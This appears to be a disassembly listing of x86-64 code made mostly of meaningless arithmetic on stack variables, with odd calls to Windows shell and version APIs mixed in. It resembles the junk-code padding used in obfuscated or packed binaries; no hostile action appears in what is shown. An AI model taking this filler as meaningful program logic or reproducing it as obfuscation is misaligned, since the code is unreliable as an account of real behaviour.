mov byte [rsp + 0x564], al
mov rax, qword [0x14019f158]
mov rcx, qword [rsp + 0xddc8]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x6548], eax
mov rax, qword [rsp + 0xde68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x524]
sub eax, ecx
mov byte [rsp + 0x523], al
mov rax, qword [rsp + 0xd150]
mov eax, dword [rax]
mov dword [rsp + 0x6fd8], eax
lea rax, [rsp + 0x2c60]
mov qword [0x14019f3e8], rax
mov rax, qword [rsp + 0xdf98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x22b0]
add eax, ecx
mov rcx, qword [rsp + 0xd620]
mov word [rcx], ax
mov rax, qword [rsp + 0xdb00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xda50]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2678], ax
mov rax, qword [rsp + 0xd8f0]
mov rcx, qword [rsp + 0xe098]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa1a8], rax
mov rax, qword [rsp + 0xe058]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe4b8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xf7], al
mov eax, dword [rsp + 0x586c]
mov dword [rsp + 0x6fdc], eax
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xdc58]
shr rax, cl
mov qword [rsp + 0x96b0], rax
mov rax, qword [rsp + 0xd7d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd818]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2aa4], ax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
mov word [rsp + 0x2e5c], ax
mov rax, qword [rsp + 0xd548]
mov rcx, qword [rsp + 0xe4d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14019d218], rax
mov rax, qword [rsp + 0xda50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe2a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x28e0], ax
lea rax, [rsp + 0x9280]
mov qword [rsp + 0xe868], rax
mov rax, qword [rsp + 0xd6d0]
mov rcx, qword [rsp + 0xd0d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb9e8], rax
movsx eax, byte [rsp + 0x3eb]
movsx ecx, byte [0x14019ef93]
xor eax, ecx
mov byte [rsp + 0x317], al
mov rax, qword [rsp + 0xe7f8]
mov rcx, qword [rsp + 0xbc48]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9038], rax
mov eax, dword [rsp + 0x59f0]
mov rcx, qword [rsp + 0xd480]
mov qword [rsp + 0xe870], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe870]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6ef8], eax
movzx eax, byte [rsp + 0xa8]
mov byte [rsp + 0x56d], al
mov eax, dword [rsp + 0x5a94]
mov rcx, qword [rsp + 0xe7e8]
mov qword [rsp + 0xe878], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe878]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xcfb0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x2c80]
mov rcx, qword [rsp + 0xd2d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14019f024], ax
movsx eax, word [0x14019f2f8]
mov rcx, qword [rsp + 0xd9b8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc68], ax
movzx eax, word [rsp + 0x1b78]
mov rcx, qword [rsp + 0xd148]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xe730]
mov word [rcx], ax
movzx eax, word [rsp + 0x2b04]
movzx ecx, word [rsp + 0xba0]
add eax, ecx
mov word [rsp + 0x2dec], ax
mov eax, dword [rsp + 0x6ea4]
mov dword [rsp + 0x6fe0], eax
mov rax, qword [rsp + 0xd2c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd970]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xe058]
mov byte [rcx], al
lea rax, [0x14019eff0]
mov qword [rsp + 0xe880], rax
movsx eax, word [rsp + 0x16c8]
mov rcx, qword [rsp + 0xda00]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1d00], ax
movzx eax, word [rsp + 0x14dc]
movzx ecx, word [rsp + 0x2728]
shl eax, cl
mov word [rsp + 0x2dec], ax
mov rax, qword [str.o_vn]
mov qword [0x14019f3f0], rax
mov rax, qword [rsp + 0xd918]
mov rax, qword [rax]
mov qword [rsp + 0xe888], rax
mov rax, qword [rsp + 0xd5a0]
mov rcx, qword [rsp + 0xe4d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xae80], rax
mov rax, qword [rsp + 0xbfc8]
mov rcx, qword [rsp + 0x91a8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xbf58], rax
mov rax, qword [rsp + 0xdf98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b48]
sub eax, ecx
mov word [rsp + 0x2650], ax
mov rax, qword [rsp + 0xda60]
mov ecx, dword [rsp + 0x66ac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6fa0], eax
movzx eax, byte [rsp + 0x22e]
mov byte [rsp + 0x56e], al
movsx eax, byte [rsp + 0xf7]
mov rcx, qword [rsp + 0xd970]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x4f8], al
mov rax, qword [0x14019f3b0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xac30]
shl rax, cl
mov qword [rsp + 0xaa30], rax
mov rax, qword [rsp + 0xda70]
mov ecx, dword [rsp + 0x588c]
mov eax, dword [rax]
or eax, ecx
mov dword [0x14019d060], eax
mov rax, qword [rsp + 0xd5b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd898]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c78], ax
mov rax, qword [rsp + 0xdf90]
movzx eax, word [rax]
mov word [rsp + 0x2e60], ax
mov rax, qword [rsp + 0xd700]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe2a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2aa0], ax
mov rax, qword [rsp + 0xd548]
mov rcx, qword [rsp + 0xd9d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb370], rax
mov rax, qword [0x14019f158]
mov eax, dword [rax]
mov dword [rsp + 0x6fe4], eax
movsx eax, byte [rsp + 0x4e6]
movsx ecx, byte [rsp + 0x148]
add eax, ecx
mov rcx, qword [rsp + 0xe340]
mov byte [rcx], al
mov rax, qword [rsp + 0xe880]
mov rcx, qword [rsp + 0xa5a0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc258], rax
mov rax, qword [0x14019f028]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd7b8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2bac], ax
movzx eax, word [rsp + 0x2ca4]
mov rcx, qword [rsp + 0xe318]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14019d220], ax
mov rax, qword [rsp + 0xd1c0]
mov rax, qword [rax]
mov rcx, qword [str.o_vn]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xae80], rax
mov rax, qword [rsp + 0xd620]
movzx eax, word [rax]
mov word [rsp + 0x2e64], ax
mov eax, dword [rsp + 0x61f8]
mov ecx, dword [rsp + 0x6e7c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f38], eax
mov rax, qword [rsp + 0xe760]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdc70]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x410], al
mov rax, qword [rsp + 0xe058]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe4b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x329], al
mov rax, qword [rsp + 0xdea8]
mov rcx, qword [0x14019f2e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd0f0], rax
mov eax, dword [rsp + 0x6ea0]
mov dword [rsp + 0x6fe8], eax
mov rax, qword [rsp + 0xe348]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2d98]
sar eax, cl
mov word [rsp + 0x2e20], ax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd228]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14019f204], ax
lea rcx, [rsp + 0x1e920]
call qword [sym.imp.COMDLG32.dll_FindTextW]
mov qword [rsp + 0xce90], rax
lea rax, [rsp + 0xcdd8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x5f
mov r9d, 0xec
mov r8d, 0x28
mov edx, 0x27
mov rcx, qword [rsp + 0xe890]
call qword [sym.imp.SHELL32.dll_SHChangeNotifyRegister]
mov dword [rsp + 0x6f7c], eax
mov rax, qword [rsp + 0xdb98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd2e0]
mov qword [rsp + 0xe898], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe898]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa648], rax
mov ecx, reloc.SHELL32.dll_ILCombine
call qword [sym.imp.SHELL32.dll_SHChangeNotifyDeregister]
mov dword [rsp + 0x6ed0], eax
mov rax, qword [0x14019d200]
mov rcx, qword [rsp + 0xe5c8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe3a8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1910]
mov word [rsp + 0x2e68], ax
mov rax, qword [rsp + 0xd620]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d44]
add eax, ecx
mov rcx, qword [rsp + 0xdb00]
mov word [rcx], ax
movsx eax, byte [rsp + 0x56c]
movsx ecx, byte [rsp + 0x2cb]
add eax, ecx
mov byte [rsp + 0x544], al
mov eax, dword [rsp + 0x630c]
mov dword [rsp + 0x6fec], eax
mov rax, qword [rsp + 0xa0a8]
mov rcx, qword [rsp + 0xe490]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe838], rax
mov rax, qword [rsp + 0x91a8]
mov rcx, qword [rsp + 0xc8e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbf00], rax
mov rax, qword [rsp + 0xd258]
movzx eax, word [rax]
mov word [0x14019f3f8], ax
mov rax, qword [rsp + 0xe250]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1be0]
and eax, ecx
mov word [rsp + 0x2d3c], ax
mov rax, qword [rsp + 0xdbc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6db4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6258], eax
mov rax, qword [rsp + 0xe820]
movzx eax, byte [rax]
mov byte [rsp + 0x56f], al
mov rax, qword [rsp + 0xd870]
movzx ecx, al
mov rax, qword [rsp + 0xe770]
shl rax, cl
mov qword [rsp + 0xbfc8], rax
movsx eax, byte [rsp + 0x18d]
movsx ecx, byte [rsp + 0x158]
sar eax, cl
mov byte [rsp + 0x3c4], al
mov rax, qword [rsp + 0xdea8]
mov rcx, qword [rsp + 0x9538]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa448], rax
mov rax, qword [rsp + 0xddc8]
mov rcx, qword [0x14019efc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6f08], eax
mov rax, qword [rsp + 0xd5b0]
movzx eax, word [rax]
mov word [rsp + 0x2e6c], ax
movzx eax, word [rsp + 0x2728]
movzx ecx, word [rsp + 0x2d20]
sub eax, ecx
mov rcx, qword [0x14019f140]
mov word [rcx], ax
mov rax, qword [rsp + 0xe7a8]
mov rcx, qword [rsp + 0xd940]
mov qword [rsp + 0xe8a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe8a0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xdcd8], rax
lea r9, [rsp + 0x2a58]
lea r8, [rsp + 0x6bc4]
mov edx, 0x4f
mov rcx, qword [rsp + 0xd640]
call qword [sym.imp.SHELL32.dll_SHChangeNotification_Lock]
mov qword [rsp + 0xd640], rax
mov rax, qword [rsp + 0xd4a8]
movzx eax, word [rax]
mov word [rsp + 0x2e70], ax
mov rax, qword [rsp + 0xdc40]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe148]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xd7b8]
mov word [rcx], ax
lea rdx, [rsp + 0xdde8]
mov rcx, qword [rsp + 0xd718]
call qword [sym.imp.SHELL32.dll_SHQueryRecycleBinW]
mov dword [rsp + 0x6ff0], eax
mov rax, qword [rsp + 0xd9d0]
mov rcx, qword [rsp + 0xd650]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xe858], rax
lea rax, [rsp + 0x6ef4]
mov qword [rsp + 0xe8a8], rax
mov rax, qword [rsp + 0xe140]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd2c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x51d], al
mov rax, qword [0x14019f120]
mov rcx, qword [rsp + 0xd9a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa918], rax
movzx eax, word [rsp + 0xd98]
mov rcx, qword [rsp + 0xe2b0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc9c], ax
mov rax, qword [rsp + 0xdda0]
mov rcx, qword [0x14019f3d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x14019d228], rax
mov eax, dword [rsp + 0x6ee8]
mov dword [rsp + 0x6ff4], eax
mov rax, qword [rsp + 0xe420]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x22e]
or eax, ecx
mov byte [rsp + 0x521], al
mov rax, qword [rsp + 0xd258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdb68]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2b50], ax
mov rax, qword [rsp + 0xd7a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdf78]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1c08], ax
mov rax, qword [rsp + 0xe7d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd8a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd4b0], rax
mov rax, qword [0x14019f158]
mov eax, dword [rax]
mov dword [rsp + 0x6ff8], eax
mov rax, qword [rsp + 0xe340]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe260]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc3], al
movsx eax, word [rsp + 0x2a88]
movsx ecx, word [rsp + 0x2a38]
sub eax, ecx
mov word [rsp + 0x2a64], ax
movzx eax, word [rsp + 0xca8]
mov rcx, qword [rsp + 0xd228]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14019f188], ax
lea rax, [rsp + 0xe118]
mov qword [rsp + 0xe8b0], rax
mov rax, qword [rsp + 0xb860]
movzx ecx, al
mov rax, qword [rsp + 0xdc90]
sar rax, cl
mov qword [rsp + 0x9350], rax
mov rax, qword [rsp + 0xe3f0]
mov rax, qword [rax]
mov qword [rsp + 0xe8b8], rax
movsx eax, word [rsp + 0x2c24]
movsx ecx, word [rsp + 0x151c]
shl eax, cl
mov word [rsp + 0xbdc], ax
mov rax, qword [rsp + 0xcfb0]
mov rcx, qword [rsp + 0xe1a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6e40], eax
xor r8d, r8d
lea rdx, [rsp + 0x6d1c]
lea rcx, [rsp + 0x6bb8]
call qword [sym.imp.SHELL32.dll_ILIsParent]
mov dword [rsp + 0x6ed0], eax
mov rax, qword [rsp + 0xd1c8]
mov rcx, qword [rsp + 0xdbe0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa8f8], rax
mov rax, qword [rsp + 0xe260]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x545]
and eax, ecx
mov byte [rsp + 0x4eb], al
mov rax, qword [rsp + 0xd9e0]
movzx eax, byte [rax]
mov byte [rsp + 0x570], al
mov rax, qword [rsp + 0xda60]
mov rcx, qword [rsp + 0xe198]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xdb30]
mov dword [rcx], eax
lea rax, [rsp + 0x2d24]
mov qword [0x14019f400], rax
mov rax, qword [rsp + 0xdf00]
movzx eax, word [rax]
movzx ecx, word [0x14019d090]
shl eax, cl
mov word [rsp + 0x1958], ax
mov rax, qword [rsp + 0xdf98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a44]
or eax, ecx
mov word [rsp + 0x2ba0], ax
mov rax, qword [0x14019f0d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcfe0]
mov qword [rsp + 0xe8c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe8c0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9280], rax
mov eax, dword [rsp + 0x58c8]
mov dword [rsp + 0x6ffc], eax
movsx eax, byte [rsp + 0x3a7]
mov rcx, qword [rsp + 0xe328]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd0a8]
mov byte [rcx], al
mov rax, qword [0x14019f2e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaaf8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9618], rax
movsx eax, word [rsp + 0x2b78]
mov rcx, qword [rsp + 0xd188]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x13dc], ax
movzx eax, word [rsp + 0x2bc4]
movzx ecx, word [rsp + 0x2d2c]
sub eax, ecx
mov word [rsp + 0x2de4], ax
mov rax, qword [0x14019f030]
mov rcx, qword [rsp + 0xd918]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [0x14019f3f0], rax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
mov word [rsp + 0x2e74], ax
mov rax, qword [rsp + 0xc338]
movzx ecx, al
mov rax, qword [rsp + 0xd0b8]
sar rax, cl
mov qword [rsp + 0x9d98], rax
mov rax, qword [rsp + 0xd7e0]
mov qword [rsp + 0xe8c8], rax
mov rax, qword [rsp + 0xe328]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe308]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x532], al
mov rax, qword [rsp + 0xc4b8]
mov rcx, qword [rsp + 0xd328]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd8c0], rax
movzx eax, byte [rsp + 0x53c]
movzx ecx, byte [rsp + 0x4f]
add eax, ecx
mov byte [rsp + 0x2e4], al
mov rax, qword [rsp + 0xe708]
mov eax, dword [rax]
cdq
mov rcx, qword [rsp + 0xda28]
idiv dword [rcx]
mov rcx, qword [rsp + 0xd050]
mov dword [rcx], eax
mov eax, dword [0x14019f2bc]
mov dword [rsp + 0x7000], eax
movsx eax, word [rsp + 0x2cc4]
mov rcx, qword [rsp + 0xd878]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x14019f12c], ax
mov rax, qword [rsp + 0xe348]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdb70]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xdc40]
mov word [rcx], ax
mov rax, qword [rsp + 0xd7f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d54]
sar eax, cl
mov word [rsp + 0x2cac], ax
movzx eax, word [rsp + 0x2abc]
movzx ecx, word [rsp + 0x2d54]
or eax, ecx
mov word [rsp + 0x2440], ax
mov eax, dword [0x14019d0b0]
mov rcx, qword [rsp + 0xd118]
mov qword [rsp + 0xe8d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe8d0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6d28], eax
mov rax, qword [rsp + 0xd0a8]
movzx eax, byte [rax]
mov byte [rsp + 0x571], al
mov rax, qword [rsp + 0xd0e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe5f8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xdb10]
mov qword [rcx], rax
mov rax, qword [0x14019f288]
movzx eax, word [rax]
mov word [rsp + 0x2e78], ax
mov rax, qword [rsp + 0xd8b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdb0]
sub eax, ecx
mov word [rsp + 0x1eb4], ax
mov rax, qword [rsp + 0xd7a8]
mov rax, qword [rax]
mov qword [0x14019f408], rax
mov rax, qword [rsp + 0xe740]
mov rcx, qword [0x14019f030]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcec0], rax
mov rax, qword [rsp + 0xd5a0]
mov rcx, qword [rsp + 0xe858]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbb08], rax
mov rax, qword [rsp + 0xd918]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdf68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc120], rax
movzx eax, word [0x14019f058]
mov word [rsp + 0x2e7c], ax
mov rax, qword [rsp + 0xdd60]
mov ecx, dword [rsp + 0x6d58]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x58e8], eax
mov rax, qword [rsp + 0xe440]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd550]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x15a], al
movsx eax, byte [rsp + 0x2ba]
mov rcx, qword [rsp + 0xdd48]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x275], al
mov rax, qword [rsp + 0xe6e8]
mov rcx, qword [rsp + 0xddc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6fa8], eax
mov rax, qword [rsp + 0xd0e8]
mov rax, qword [rax]
mov qword [0x14019f410], rax
movzx eax, word [rsp + 0x2c00]
mov word [rsp + 0x2e80], ax
mov rax, qword [rsp + 0xe220]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe148]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2c5c], ax
movzx eax, word [rsp + 0x1554]
movzx ecx, word [rsp + 0x2e38]
sub eax, ecx
mov word [rsp + 0x1cc0], ax
mov rax, qword [rsp + 0xd2e0]
mov rax, qword [rax]
mov qword [rsp + 0xe8d8], rax
mov rax, qword [rsp + 0xd3d8]
mov rcx, qword [rsp + 0xdd80]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x6548], eax
movsx eax, byte [rsp + 0x452]
movsx ecx, byte [rsp + 0xda]
shl eax, cl
mov byte [rsp + 0x262], al
mov rax, qword [rsp + 0xe388]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xe3b8]
shr rax, cl
mov qword [rsp + 0xd178], rax
mov rax, qword [rsp + 0xe3c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd898]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xbdc], ax
movzx eax, word [0x14019f2f0]
mov rcx, qword [rsp + 0xd800]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14019f100]
mov word [rcx], ax
mov rax, qword [rsp + 0xd548]
mov rax, qword [rax]
mov qword [rsp + 0xe8e0], rax
movzx eax, word [rsp + 0x2c40]
movzx ecx, word [0x14019f228]
add eax, ecx
mov word [rsp + 0x2ad0], ax
mov eax, dword [rsp + 0x6ee4]
mov ecx, dword [rsp + 0x6d90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6964], eax
lea r9, [rsp + 0x22970]
lea r8, [rsp + 0x21410]
mov rdx, qword [rsp + 0xcdd8]
lea rcx, [rsp + 0xd010]
call sub.VERSION.dll_VerQueryValueW
mov dword [rsp + 0x6cfc], eax
mov rax, qword [rsp + 0xe440]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4ee], al
mov rax, qword [rsp + 0xe1a8]
mov eax, dword [rax]
mov dword [rsp + 0x7004], eax
movsx eax, byte [rsp + 0x509]
mov rcx, qword [rsp + 0xe500]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + reloc.SHELL32.dll_SHMultiFileProperties], al
mov rax, qword [rsp + 0xd0e8]
mov rcx, qword [rsp + 0xd468]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd858], rax
mov rax, qword [0x14019f028]
movzx eax, word [rax]
mov word [rsp + 0x2e84], ax
mov rax, qword [rsp + 0xdf98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2dd0]
shl eax, cl
mov word [0x14019d230], ax
mov rax, qword [rsp + 0xe4d8]
mov rcx, qword [rsp + 0xdfe8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x94b8], rax
mov rax, qword [rsp + 0x92b0]
mov rcx, qword [rsp + 0xe0f8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc588], rax
movsx eax, word [rsp + 0x28ac]
mov rcx, qword [rsp + 0xdd10]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xe448]
mov word [rcx], ax
mov rax, qword [rsp + 0xdd28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b78]
sub eax, ecx
mov word [rsp + 0xfbc], ax
movzx eax, byte [rsp + 0x529]
mov byte [rsp + 0x572], al
mov eax, dword [rsp + 0x6fe0]
mov ecx, dword [rsp + 0x6970]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6fe8], eax
mov rax, qword [rsp + 0xd390]
mov rcx, qword [0x14019f0f8]
mov qword [rsp + 0xe8e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe8e8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xa610], rax
mov rax, qword [rsp + 0xc120]
mov rcx, qword [rsp + 0xa678]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe080]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd770]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2d6c]
shl eax, cl
mov word [0x14019d108], ax
movzx eax, word [rsp + 0x26a8]
mov rcx, qword [rsp + 0xd148]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xe250]
mov word [rcx], ax
mov rax, qword [rsp + 0xd050]
mov eax, dword [rax]
mov dword [rsp + 0x7008], eax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe420]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xe370]
mov byte [rcx], al
lea rax, [rsp + 0x9660]
mov qword [rsp + 0xe8f0], rax
mov rax, qword [rsp + 0xdd88]
mov rcx, qword [rsp + 0xdd50]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6de4], eax
lea rax, [rsp + 0x505]
mov qword [rsp + 0xe8f8], rax
mov rax, qword [rsp + 0xd0c8]
mov rcx, qword [0x14019f218]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd358], rax
movsx eax, word [rsp + 0x11b4]
mov rcx, qword [rsp + 0xe558]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2120], ax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
mov word [0x14019f418], ax
mov rax, qword [rsp + 0xe648]
mov rcx, qword [rsp + 0xe518]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x90b0], rax
movzx eax, word [rsp + 0x2d38]
mov rcx, qword [rsp + 0xe2b0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1138], ax
movzx eax, word [0x14019d0b4]
mov word [rsp + 0x2e88], ax
mov rax, qword [rsp + 0xa1a8]
mov rcx, qword [rsp + 0xdfe8]
mov qword [rsp + 0xe900], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe900]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xaf10], rax
mov rax, qword [rsp + 0xd1c8]
mov rcx, qword [rsp + 0xcfd8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xde10], rax
movzx eax, byte [rsp + 0x2b9]
mov byte [rsp + 0x573], al
mov rax, qword [rsp + 0xda88]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xdbd8]
mov qword [rsp + 0xe908], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe908]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x68dc], eax
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd7a0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1168], ax
mov rax, qword [rsp + 0xd590]
mov rcx, qword [0x14019f370]
sub rcx, rax
mov rax, rcx
mov qword [0x14019f3a8], rax
mov rax, qword [rsp + 0xdc50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe370]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x4e8], al
mov rax, qword [rsp + 0xdbc8]
mov rcx, qword [rsp + 0xd0f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6eb8], eax
